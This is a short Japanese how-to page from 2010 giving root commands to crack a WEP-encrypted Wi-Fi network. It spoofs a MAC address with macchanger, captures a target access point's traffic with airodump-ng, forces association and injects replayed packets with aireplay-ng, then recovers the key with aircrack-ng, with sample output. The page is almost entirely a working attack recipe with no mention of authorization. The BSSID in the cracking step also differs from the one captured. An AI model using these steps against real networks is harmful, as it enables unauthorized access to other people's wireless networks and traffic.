rootユーザにて実施する。
準備
# apt-get install macchanger
# apt-get install aircrack-ng
------------------------------------------------------------------------------------------------
# airmon-ng stop wlan0
# ifconfig wlan0 down
# ifconfig wlan0 down
# airmon-ng start wlan0
# macchanger --mac 00:11:22:33:44:55 wlan0
# airodump-ng wlan0
表示された一覧からWEBキー通信のSSIDのMacアドレスとチャンネル番号を以下のコマンドで入力する。
# airodump-ng -c 7 -w wifi --bssid 0E:24:A5:B8:42:20 wlan0
※ -c 7 >>> チャンネル番号
--bssid 0E:24:A5:B8:42:20 >>>>> BSSID名
-w wifi >>>> ダンプファイル作成ファイル名
別Terminalを起動して・・・
# aireplay-ng -1 10 -a 0E:24:A5:B8:42:20 -h 00:11:22:33:44:55 mon0
Association successful :-) (AID: 1) <--- これが表示されればOK
連続してパケット送信する場合は・・・
# aireplay-ng -3 -b 0E:24:A5:B8:42:20 -h 00:11:22:33:44:55 wlan0 <--- mon0でもOKなのか?
別Terminalを起動して・・・
# aircrack-ng -b 00:16:01:04:78:0E wifi-01.cap
ここで、
Aircrack-ng 1.0
[00:00:06] Tested 134065 keys (got 16673 IVs)
KB depth byte(vote)
0 10/ 11 86(20736) 35(20480) CF(20480) D6(20480) 16(20224) 25(20224) 54(20224)
1 16/ 1 95(19968) 3D(19712) 94(19712) DA(19712) E3(19712) 17(19456) 1A(19456)
2 6/ 20 A3(20992) E4(20480) FF(20480) 12(20224) B6(20224) 11(19968) 19(19968)
3 11/ 23 E8(20736) 3E(20480) 63(20480) 98(20480) 11(20224) 22(20224) 47(20224)
4 11/ 4 F6(20736) 0E(20224) 67(20224) 8E(20224) 92(20224) A7(20224) BD(20224)
Failed. Next try with 20000 IVs.
戸表示された場合は解析に失倍。上の「[00:00:06] Tested 134065 keys (got 16673 IVs)」の 16673 は airodump-ngで表示されている「# Data」の容量です。
もう少し、「# Data」の容量が増えてから再度、解析コマンドを実行して下さい。
最終更新:2010年09月10日 19:02